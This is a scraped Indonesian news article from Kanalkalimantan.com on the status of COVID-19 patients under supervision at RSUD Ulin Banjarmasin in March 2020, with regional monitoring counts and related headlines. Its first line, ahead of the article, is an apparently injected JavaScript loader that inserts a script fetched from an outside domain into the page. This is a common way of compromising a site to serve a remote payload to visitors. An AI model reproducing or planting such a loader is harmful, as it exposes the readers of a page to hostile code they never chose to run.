(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jumlah pasien dalam pengawasan (PDP) yang dirawat di RSUD Ulin Banjarmasin berkurang dari 7 pasien menjadi 6 pasien. Karena, salah satu pasien dengan kode Ulin-8 diperbolehkan pulang karena hasil laboratorium menyatakan negatif Covid-19.
Hal ini disampaikan oleh Tim Gugus Tugas P3 COVID-19 Kalimantan Selatan dalam video conference pada Kamis (26/3/2020) sore, di Command Center Kalimantan Selatan. “Satu orang yang sudah dapat dipulangkan, karena hasil laboratoriumnya negatif Covid-19. Yang bersangkutan merupakan pasien dengan kode Ulin-8, yang telah menjalani perawatan di Rumah Sakit Ulin Banjarmasin,,” kata Juru Bicara Tim Gugus Tugas P3 COVID-19 Kalsel, M Muslim.
Selain itu, Muslim menjelaskan kondisi PDP lainnya yang tengah dirawat di RSUD Ulin Banjarmasin. Di mana, pasien dengan kode Ulin-9 asal Martapura, Kabupaten Banjar, kondisinya masih agak sesak nafas, namun menunjukkan kondisi yang cukup stabil.
“Kemudian, pasien Ulin-10 berjenis kelamin laki-laki berusia 45 tahun dari Martapura, saat ini sudah tidak lagi mengalami sesak nafas walaupun masih batuk-batuk,” jelas Muslim.
Di samping itu, pasien Ulin-11 berjenis kelamin laki-laki berusia 56 tahun yang merupakan rujukan dari Banjarmasin, kondisinya stabil walau ada demam, serta tidak ada sesak nafas. Selanjutnya, pasien Ulin-12 berjenis kelamin perempuan berusia 51 tahun rujukan dari Banjarmasin, kondisinya masih melemah namun normal dan menunjukkan gejala perbaikan.
“Pasien Ulin-13, berjenis kelamin laki-laki berusia 21 tahun rujukan dari Tabalong tampak stabil, tidak ada lagi demam. Juga sakit tenggorokan tidak lagi terdapat walau masih lemah,” kata Kepala Dinas Kesehatan Provinsi Kalsel ini.
Terakhir, pasien Ulin-14 yang berjenis kelamin perempuan asal Kandangan, Kabupaten Hulu Sungai Selatan mengalami demam, namun sudah tidak tampak lagi. Kendati begitu, pasien uni masih ada batuk-batuk dan sesak nafas.
“Sampai saat ini, pasien dalam pengawasan yang dirawat sebanyak 6 pasien, dan satu pasien terkonfirmasi positif Covid-19 dalam perawatan,” tegas Muslim.
Sedangkan hingga saat ini, jumlah orang dalam pengawasan (ODP) di Kalsel mencapai 899 orang. Di mana, Kabupaten Tabalong menduduki peringkat pertama sebanyak 161 orang, disusul Kota Banjarbaru sebanyak 120 orang dan Kabupaten Hulu Sungai Tengah sebanyak 118 orang.
Selanjutnya, Kabupaten Banjar sebanyak 96 orang, Kabupaten Kotabaru sebanyak 89 orang, Kota Banjarmasin sebanyak 81 orang, Kabupaten Barito Kuala sebanyak 64 orang dan Kabupaten Hulu Sungai Selatan sebanyak 55 orang.
Disusul Kabupaten Balangan sebanyak 53 orang, Kabupaten Tanah Bumbu sebanyak 23 orang, Kabupaten Hulu Sungai Utara sebanyak 22 orang, Kabupaten Tanah Laut sebanyak 13 orang dan Kabupaten Tapin sebanyak 4 orang. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.